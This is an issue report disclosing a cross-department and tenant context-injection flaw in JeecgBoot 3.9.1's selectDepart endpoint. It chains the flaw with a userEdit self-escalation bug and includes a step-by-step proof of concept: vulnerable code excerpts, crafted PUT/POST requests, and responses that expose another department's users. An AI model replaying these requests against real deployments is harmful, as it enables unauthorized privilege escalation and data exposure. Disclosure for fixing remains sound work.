Skip to content

selectDepart 跨部门/租户上下文注入 #9597

@AliceS614

Description

@AliceS614

版本: 3.9.1

1. 漏洞概述

PUT /sys/selectDepart 端点是用户登录后选择当前部门和租户的接口。该端点无任何权限注解,仅需认证即可调用,且服务端对请求中注入的 orgCodeloginTenantId 不做任何归属验证,直接持久化到 sys_user 表。

结合 userEdit 提权漏洞,攻击者可以构造两步攻击链:从自己所属的部门 A 切换到目标部门 B 的上下文,再自我升级 userIdentity=2 并设置 departIds 为目标部门,从而获得目标部门的全部成员数据访问权限。


2. 漏洞调用链

2.1 入口 — LoginController.selectDepart

文件: jeecg-module-system/jeecg-system-biz/.../controller/LoginController.java:278-298

@RequestMapping(value = "/selectDepart", method = RequestMethod.PUT)
// ☆ 无 @RequiresPermissions,无 @RequiresRoles ☆
public Result<JSONObject> selectDepart(@RequestBody SysUser user) {
    String username = user.getUsername();
    if(oConvertUtils.isEmpty(username)) {
        LoginUser sysUser = (LoginUser)SecurityUtils.getSubject().getPrincipal();
        username = sysUser.getUsername();                        // [1] username 从 session 取
    }
    String orgCode = user.getOrgCode();                          // [2] 直接读请求体 orgCode
    Integer tenantId = user.getLoginTenantId();                  // [3] 直接读请求体 loginTenantId
    this.sysUserService.updateUserDepart(username, orgCode, tenantId); // [4] 直接持久化
}

问题: 请求中的 orgCodeloginTenantId 不做任何校验——不检查 orgCode 是否属于当前用户的部门列表,不检查 tenantId 是否为用户所属租户。只要用户通过 JWT 认证,就能设置任意值。

2.2 持久化 — SysUserServiceImpl.updateUserDepart()

文件: jeecg-module-system/jeecg-system-biz/.../service/impl/SysUserServiceImpl.java:620-623

@Override
@CacheEvict(value={CacheConstant.SYS_USERS_CACHE}, key="#username")
public void updateUserDepart(String username, String orgCode, Integer loginTenantId) {
    baseMapper.updateUserDepart(username, orgCode, loginTenantId);
    // → UPDATE sys_user SET org_code=?, login_tenant_id=? WHERE username=?
}

无任何归属验证。Mapper 直接执行 UPDATE。

2.3 协同漏洞 — userEdit 自我升级(J-1)

文件: jeecg-module-system/jeecg-system-biz/.../controller/SysUserController.java:1803-1816

@PostMapping("/login/setting/userEdit")
@RequiresPermissions("system:user:setting:edit")   // ← test 角色持有
public Result<String> userEdit(@RequestBody SysUser sysUser, ...) {
    // 所有权检查仅比对 username
    if(!username.equals(user.getUsername())) return Result.error("只能修改自己的数据");
    sysUserService.updateById(sysUser);  // ← 直接持久化请求体
}

userEdit 允许注入 userIdentity=2departIds=<任意部门ID>,且 system:user:setting:edit 被分配给 test 角色(所有用户默认拥有)。

2.4 departUserList

文件: jeecg-module-system/jeecg-system-biz/.../controller/SysUserController.java:783-826

if(oConvertUtils.isEmpty(depId)){
    int userIdentity = user.getUserIdentity() != null ? ... : CommonConstant.USER_IDENTITY_1;
    if(userIdentity == CommonConstant.USER_IDENTITY_2           // userIdentity=2
            && oConvertUtils.isNotEmpty(user.getDepartIds())) { // 且 departIds 非空
        subDepids = sysDepartService.getMySubDepIdsByDepId(user.getDepartIds());
        // → 查询管辖部门的所有用户
    }
}

userIdentity=2departIds 非空的用户能看到部门成员列表。


3. PoC 复现步骤

以两个部门为例验证完整攻击链:攻击者隶属于市场部(Dept B,2 个成员),目标窃取财务部(Dept A,4 个成员)的用户列表。

  • Dept A (目标): 财务部 a7d7e77e06c84325a40932163adcdaa6 (orgCode=A02A01),有 4 个成员:jeecg, zhangsan, supervisor, testonly
  • Dept B (攻击者所属): 市场部 4f1765520d6346f9bd9c79e2479e5b12 (orgCode=A01A03),仅 admin 和攻击者
  • 攻击者:attacker(仅 test 角色,userIdentity=1,属于市场部)

3.1 环境确认

-- 财务部(Dept A) — 攻击目标,4 个成员
SELECT u.username, u.user_identity FROM sys_user u
JOIN sys_user_depart ud ON u.id=ud.user_id WHERE ud.dep_id='a7d7e77e06c84325a40932163adcdaa6';
-- jeecg(1), zhangsan(1), supervisor(2), testonly(1)

-- 市场部(Dept B) — 攻击者所属
SELECT u.username, u.user_identity FROM sys_user u
JOIN sys_user_depart ud ON u.id=ud.user_id WHERE ud.dep_id='4f1765520d6346f9bd9c79e2479e5b12';
-- attacker(1)

3.2 攻击前:攻击者无法看到目标部门数据

attacker(市场部,userIdentity=1)登录,调用 departUserList

GET /jeecg-boot/sys/user/departUserList?pageNo=1&pageSize=10
X-Access-Token: <attacker_jwt>

Response (0 条记录):

{"success":true,"result":{"records":[]}}

3.3 Step 1:selectDepart 切换到目标部门

PUT /jeecg-boot/sys/selectDepart
X-Access-Token: <attacker_jwt>
Content-Type: application/json

{
  "orgCode": "A02A01",
  "loginTenantId": 1001
}

Response:

{"success":true,"result":{"userInfo":{"orgCode":"A02A01","loginTenantId":1001,...}}}

攻击者的会话上下文已切换到财务部。

3.4 Step 2:userEdit 自我升级为主管并绑定目标部门

POST /jeecg-boot/sys/user/login/setting/userEdit
X-Access-Token: <attacker_jwt>
Content-Type: application/json

{
  "id": "<attacker_id>",
  "userIdentity": 2,
  "departIds": "a7d7e77e06c84325a40932163adcdaa6"
}

Response:

{"success":true,"message":"更新个人信息成功","code":200}

3.5 Step 3:重新登录刷新 Shiro 缓存

POST /jeecg-boot/sys/login
{"username":"attacker","password":"test123","captcha":"...","checkKey":"..."}

3.6 攻击后:攻击者获得目标部门全部成员数据

再次调用 departUserList

GET /jeecg-boot/sys/user/departUserList?pageNo=1&pageSize=10
X-Access-Token: <attacker_new_jwt>

Response (4 条记录 — 财务部全部成员):

{"success":true,"result":{"records":[
  {"username":"jeecg",...},
  {"username":"zhangsan",...},
  {"username":"supervisor",...},
  {"username":"testonly",...}
]}}

3.7 攻击前后对比

                        所属部门   departUserList 可见用户
                        ────────   ──────────────────────
攻击前  attacker   市场部     0 人 (无权限)
攻击后  attacker   财务部     4 人 (jeecg, zhangsan, supervisor, testonly)

根本原因: selectDepart 的设计意图是让用户从自己的部门列表中选择当前登录部门,但服务端完全信任客户端提交的 orgCodeloginTenantId,不做任何归属校验。结合 J-1 的 userEdit 漏洞形成的攻击链,使得攻击者不仅能切换上下文,还能通过自我升级获得目标部门的完整数据访问权。

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions